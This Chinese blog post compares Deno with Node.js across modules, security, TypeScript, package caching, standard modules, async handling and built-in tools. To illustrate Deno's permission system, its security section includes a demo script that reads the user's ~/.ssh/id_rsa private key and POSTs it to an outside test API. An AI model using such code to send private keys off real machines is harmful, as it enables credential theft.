Deno 正式釋出,徹底弄明白和 node 的區別

超傑發表於2020-05-18

前言

Deno 已經正式釋出了?!

我說這句話時候,是不是很多前端 和 NodeJS 工(碼)程(農)師已經按不住自己的40米大刀了。心中的不僅感慨前端是真的會造輪子,有了 node 還不夠嗎,還沒學會 node 又搞了個 deno,node 和 deno 啥區別?!

的確,deno 和 node 形態很相似,要解決的問題似乎也相同,那他們到底有啥區別,這一切究竟是道德的淪喪還是 ry (作者)人性的扭曲,讓我們走進本篇文章,一探究竟。

Deno VS Node

Node Deno
API 引用方式 模組匯入 全域性物件
模組系統 CommonJS & 新版 node 實驗性 ES Module ES Module 瀏覽器實現
安全 無安全限制 預設安全
Typescript 第三方,如通過 ts-node 支援 原生支援
包管理 npm + node_modules 原生支援
非同步操作 回撥 Promise
包分發 中心化 npmjs.com 去中心化 import url
入口 package.json 配置 import url 直接引入
打包、測試、格式化 第三方如 eslint、gulp、webpack、babel 等 原生支援

1.內建 API 引用方式不同

node 模組匯入

node 內建 API 通過模組匯入的方式引用,例如:

const fs = require("fs");
fs.readFileSync("./data.txt");

deno 全域性物件

而 deno 則是一個全域性物件 Deno 的屬性和方法:

Deno.readFileSync("./data.txt");

具體 deno 有哪些方法,我們可以通過 repl 看一下:

deno # 或 deno repl

進入 repl 後,輸入 Deno 回車,我們可以看到:

{
 Buffer: [Function: Buffer],
 readAll: [AsyncFunction: readAll],
 readAllSync: [Function: readAllSync],
 writeAll: [AsyncFunction: writeAll],
 writeAllSync: [Function: writeAllSync],
 # .....
}

這種處理的方式好處是簡單、方便,壞處是沒有分類,想查詢忘記的 API 比較困難。總體來說見仁見智。

2.模組系統

我們再來看一下模組系統,這也是 deno 和 node 差別最大的地方,同樣也是 deno 和 node 不相容的地方。

node CommonJS 規範

我們都知道 node 採用的是 CommonJS 規範,而 deno 則是採用的 ES Module 的瀏覽器實現,那麼我們首先來認識一下:

ES Module 的瀏覽器實現

具體關於 ES Module 想必大家都早已熟知,但其瀏覽器實現可能大家還不是很熟悉,所以我們先看一下其瀏覽器實現:

<body>
  <!-- 注意這裡一定要加上 type="module" -->
  <script type="module">
    // 從 URL 匯入
    import Vue from "https://unpkg.com/vue@2.6.11/dist/vue.esm.browser.js";
    // 從相對路徑匯入
    import * as utils from "./utils.js";
    // 從絕對路徑匯入
    import "/index.js";

    // 不支援
    import foo from "foo.js";
    import bar from "bar/index.js";
    import zoo from "./index"; // 沒有 .js 字尾
  </script>
</body>

deno 的模組規範

deno 完全遵循 es module 瀏覽器實現,所以 deno 也是如此:

// 支援
import * as fs from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from "./deepCopy.js";
import foo from "/foo.ts";

// 不支援
import foo from "foo.ts";
import bar from "./bar"; // 必須指定副檔名

我們發現其和我們平常在 webpack 或者 ts 使用 es module 最大的不同

  • 可以通過 import url 直接引用線上資源;
  • 資源不可省略副檔名和檔名。

關於第 1 點,爭議非常大,有人很看好,覺得極大的擴充套件了 deno 庫的範圍;有人則不太看好,覺得國內網速的原因,並不實用。大家的看法如何,歡迎在評論區發表 ?

3.安全

如果模組規範是 node 和 deno 最大的不同,那麼對安全的處理,則是另外一個讓人摸不著頭腦的地方。

模擬盜號

在介紹之前我們先思考一下這個場景會不會出現:

我做了一個基於命令列的一鍵上網工具 breakwall,每月 1 個 G 免費流量,然後將壓縮後的 JS 程式碼釋出到 npm 上,然後後在各種渠道宣傳一波。

羊毛黨興高彩烈的 cnpm install -g breakwall,然後每次使用的時候,我偷偷的將諸位的 ssh 金鑰和各種能偷的文件及圖片偷偷上傳到我的伺服器,在設定期限到期後,刪除電腦上資料,留下一句拿錢換資料,僅支援比特幣。

預設安全的 deno

如果你覺得以上情況有可能出現,則會覺得下面的功能很實用。我們先用 deno 執行以下程式碼:

// index.js
let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa");

rsa = new TextDecoder().decode(rsa);

fetch("http://jsonplaceholder.typicode.com/posts/1", {
  method: "POST",
  body: JSON.stringify(rsa)
})
  .then((res) => res.json())
  .then((res) => console.log("金鑰傳送成功,嘿嘿嘿?"));

console.log("start breakwall...");
PS: --unstable 是由於 Deno.dir API 不穩定
> deno run --unstable index.js

我們將會得到如下報錯資訊:

> deno run --unstable  index.js
error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag
    ...

意思就是許可權異常,需要訪問環境變數,需要加上 --allow-env,我們加上這個引數再試一下。

> deno run --unstable --allow-env index.js
error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag
    ...

如此反覆,還需加上 --allow-read--allow-net ,最終的結果是:

> deno run --unstable --allow-env --allow-read --allow-net  index.js
start breakwall...
金鑰傳送成功,嘿嘿嘿?

經過一番折騰,總算是傳送成功了,要想盜取金鑰實屬不易。

白名單

那有人就說了,如果我的應用確實需要訪問網路和檔案,但是有不想讓它訪問 .ssh 檔案有沒有辦法?

當然有了,我們可以給 --allow-read--allow-net 指定白名單,名單之外都不可訪問,例如:

> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com  index.js
start breakwall...
error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag
    at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11)
    at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10)
    at async fetch ($deno$/web/fetch.ts:591:27)

簡化引數

如果確認是沒問題,或者是自己開發軟體時,圖個方便,可以直接使用 -A--allow-all 引數允許所有許可權:

> deno -A --unstable index.js
start breakwall...
金鑰傳送成功,嘿嘿嘿?

安全這方面見仁見智,有人覺得是多餘,有人覺得很好用,極大的增強了安全性。如果你屬於覺得這個功能多餘的,可以 deno run -A xxx 即可。

4.相容瀏覽器 API

很多人不理解,為什麼你一個服務端語言要相容瀏覽器 API,以及怎麼相容。

為什麼要相容瀏覽器 API

關於為什麼,我舉個例子大家就明白了:在設計 node 之處,關於輸出函式本來叫 print 之類的,後來有人提議為什麼不叫 console.log,ry 覺得挺不錯,於是就接納了意見。

但是,這個設計並不是刻意為之,而 deno 的設計則可以為之,通過與瀏覽器 API 保持一致,來減少大家的認知

怎麼相容瀏覽器 API

概念上相容
  • 模組系統,從上面介紹看出 deno 是完全遵循瀏覽器實現的;
  • 預設安全,當然也不是自己創造的概念,w3c 早已做出瀏覽器許可權的規定,我們在做小程式的時候尤為明顯,需要獲取各種許可權;
  • 對於非同步操作返回 Promise;
  • 使用 ArrayBuffer 處理二進位制;
  • 等等...
存在 window 全域性變數
console.log(window === this, window === self, window === globalThis);
實現了 WindowOrWorkerGlobalScope 的全部方法

具體方法列表,我們可以參考:lib.deno.shared_globals.d.tslib.deno.window.d.ts

// 請求方法
fetch("https://baidu.com");

// base64 轉化
let encodedData = btoa("Hello, world"); // 編碼
let decodedData = atob(encodedData); // 解碼

// 微任務
queueMicrotask(() => {
  console.log(123);
});

// 等等...
大趨勢

總體而言,如果服務端和瀏覽器端存在相同概念,deno 就不會創造新的概念。這一點其實 node 也在做,新的 node 14.0 CHANGELOG 就也提及要實現 Universal JavaScriptSpec compliance and Web Compatibility的思想,所以這點大家應該都會接受吧,畢竟大勢所趨趨勢。

5.支援 Typescript

不管你喜歡與否,2020 年了,必須學習 TS 了(起碼在面試的時候是亮點)。學完之後你才會明白王境澤定律真的無處不在。

// index.ts
let str: string = "王境澤定律";
str = 132;
> deno run index.ts
error TS2322: Type '123' is not assignable to type 'string'.

► file:///Users/zhangchaojie/Desktop/index.ts:2:1

2 str = 123

6.去 node_modules

deno 沒有 node_modules,那麼它是怎麼進行包管理的呢?我們先看下面的例子

// index.js
import { white, bgRed } from "https://deno.land/std/fmt/colors.ts";

console.log(bgRed(white("hello world!")));
> deno run index.js
Download https://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.ts
hello world!

我們看到其有 DownloadCompile 兩個步驟,我們會產生幾個疑問:

1、每次執行都要下載嗎?

解:我們只需要再執行一次就能明白,不需要每次下載。

> deno run index.js
hello world!

2、Download 和 Compile 的檔案在哪裡呢?

解:我們會發現,當前執行的目錄,並沒有 Download 和 Compile 檔案,那檔案放在哪裡呢,我們首先來看一下 deno --help 命令:

> deno --help
SUBCOMMANDS:
# ...
info           Show info about cache or info related to source file

# ...
ENVIRONMENT VARIABLES:
    DENO_DIR   Set deno's base directory (defaults to $HOME/.deno)

deno info 命令展示了依賴關係,類似 package.json

> deno info index.js
local: /Users/zhangchaojie/Desktop/index.js
type: JavaScript
deps:
file:///Users/zhangchaojie/Desktop/index.js
  └── https://deno.land/std/fmt/colors.ts

DENO_DIR 則為實際的安裝和編譯目錄,相當於 node_modules,預設為 $HOME/.deno(命令提示是這樣的,但實際需要指定一下環境變數 export DENO_DIR=$HOME/.deno),我們看一下:

> tree $HOME/.deno
/Users/zhangchaojie/.deno
├── deps
│   └── https
│       └── deno.land
│           ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935
│           └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json
└── gen
    └── https
        └── deno.land
            └── std
                └── fmt
                    ├── colors.ts.js
                    ├── colors.ts.js.map
                    └── colors.ts.meta

8 directories, 5 files

3、沒網路了怎麼辦?

我們有些場景是將本地寫好的程式碼部署到沒有網路的伺服器,那麼當執行 deno run xxx 時,就是提示 error sending request。

解:將上面的快取目錄內容,直接拷貝到伺服器並指定環境變數到其目錄即可。

4、依賴程式碼更新了怎麼辦?

解:當依賴模組更新時,我們可以通過 --reload 進行更新快取,例如:

> deno run --reload index.js

我們還可以通過白名單的方式,只更新部分依賴。例如:

> deno run --reload=https://deno.land index.js

5、僅快取依賴,不執行程式碼有辦法嗎?

解:有的,我們可以通過 deno cache index.js 進行依賴快取。

6、多版本怎麼處理?

解:暫時沒有好的解決方案,只能通過 git tag 的方式區分版本。

7.標準模組 與 node API 相容

我們通過第 1 點可以看到,其實 deno 的 API 相對於 node 其實是少一些的,通過其檔案大小也能看出來:

> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   42M   /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   70M   /usr/local/bin/node

那這些少的 API 只能自己寫或者求助於社群嗎?

deno 對於自身相對於 node 少的和社群中常用的功能,提供了標準模組,其特點是不依賴非標準模組的內容,達到社群內的模組引用最後都收斂於標準模組的效果。例如:

// 類似 node 中 chalk 包
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";

// 類似 node 中的 uuid 包
import { v4 } from "https://deno.land/std/uuid/mod.ts";

同時為了對 node 使用者友好,提供了 node API 的相容

import * as path from "https://deno.land/std/node/path.ts";
import * as fs from "https://deno.land/std/node/fs.ts";

console.log(path.resolve('./', './test'))

所以,大家在為 deno 社群做貢獻的時候,首先要看一下標準模組有沒有提供類似的功能,如果已經提供了可以進行引用。

8.非同步操作

根據 ry 自己是說法,在設計 node 是有人提議 Promise 處理回撥,但是他沒聽,用他自己的話說就是愚蠢的拒絕了。

node 用回撥的方式處理非同步操作、deno 則選擇用 Promise

// node 方式
const fs = require("fs");
fs.readFile("./data.txt", (err, data) => {
  if (err) throw err;
  console.log(data);
});

另外 deno 支援 top-level-await,所以以上讀取檔案的程式碼可以為:

// deno 方式
const data = await Deno.readFile("./data.txt");
console.log(data);

node 關於這方面也在一直改進,例如社群上很多 promisify 解決方案,通過包裹一層函式,實現目的。例如:

// node API promisify
const { promisify } = require("es6-promisify");
const fs = require("fs");

// 沒有 top-level-await,只能包一層
async function main() {
  const readFile = promisify(fs.readFile);
  const data = await readFile("./data.txt");
  console.log(data);
}

main();

9.單檔案分發

我們知道 npm 包必須有 package.json 檔案,裡面不僅需要指明 mainmodulebrowser 等欄位來標明入口檔案,還需要指明 namelicensedescription 等欄位來說明這個包。

ry 覺得這些欄位擾亂了開發者的視聽,所以在 deno 中,其模組不需要任何配置檔案,直接是 import url 的形式。

10.去中心化倉庫

對於 www.npmjs.com 我們肯定都不陌生,它是推動 node 蓬勃發展的重要支點。但作者認為它是中心化倉庫,違背了網際網路去中心化原則。

所以 deno 並沒有一個像 npmjs.com 的倉庫,通過 import url 的方式將網際網路任何一處的程式碼都可以引用。

PS:deno 其實是有個基於 GitHub 的第三方模組集合

11.去開發依賴

我們在寫一個 node 庫或者工具時,開發依賴是少不了的,例如 babel 做轉化和打包、jest 做測試、prettier 做程式碼格式化、eslint 做程式碼格式校檢、gulp 或者 webpack 做構建等等,讓我們在開發前就搞得筋疲力盡。

deno 通過內建了一些工具,解決上述問題。

  • deno bundle:打包命令,用來替換 babelgulp 一類工具: 例如:deno bundle ./mod.ts
  • deno fmt:格式化命令,用來替換 prettier 一類工具,例如:deno fmt ./mod.ts
  • deno test:執行測試程式碼,用來替換 jest 一類工具,例如 deno test ./test.ts
  • deno lint:程式碼校檢(暫未實現),用來替換 eslint 一類工具,例如:deno lint ./mod.ts

後記

就像小時候一直幻想的炸彈始終沒能炸了學校,技(輪)術(子)的進(制)步(造)一直也未停止過。不論我們學的動或者學不動,技術就在那裡,不以人的意志為轉移。

至於 deno 能不能火,我個人覺得起碼一兩年內不會有太大反響,之後和 node 的關係有可能像 Vue 和 react,有人喜歡用 deno,覺得比 node 好一萬倍,有人則喜歡 node ,覺得 node 還能再戰 500 年。至於最終學不學還看自己。

如果覺得文章不錯,記得點贊、收藏啦~~~~

相關文章